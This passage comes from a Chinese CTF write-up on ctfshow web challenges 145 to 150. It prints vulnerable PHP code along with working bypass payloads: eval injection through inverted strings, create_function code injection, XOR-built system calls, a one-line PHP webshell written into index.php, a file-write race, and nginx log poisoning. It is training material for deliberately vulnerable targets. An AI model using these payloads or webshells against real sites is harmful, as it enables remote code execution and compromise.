if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

eval("return 1?phpinfo():1;");

这样是可以执行phpinfo()的

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1

image-20220410180200072

web146

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}


冒号被过滤了,我们使用||运算符

eval("return 1==phpinfo()||1;");
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|

image-20220410181231207

web147

create_function()代码注入

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令

fuzz后发现%5c可以绕过这个正则表达式,具体原理可以看下这篇文章
这样我们就可以执行任意命令了

?show=echo 123;}eval($_POST['zf']);//
POST
ctf=%5ccreate_function&zf=phpinfo();

image-20220410181723737

image-20220410181826109

web148

中文变量

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

异或

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

中文变量

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"; 异或出来的结果是 _GET

image-20220410182722686

web149

条件竞争

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

直接往index.php写一句话

?ctf=index.php
POST
show=<?php eval($_POST[1]);?>

image-20220410183026874

image-20220410183042445

条件竞争

ctf=1.php
show=<?php system('tac /c*');?>

web150

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-10-13 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}


日志文件包含写一句话 .修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。首先访问index.php 修改user_agent为一句话.然后包含日志文件

image-20220410183545029

image-20220410183654636

image-20220410183720433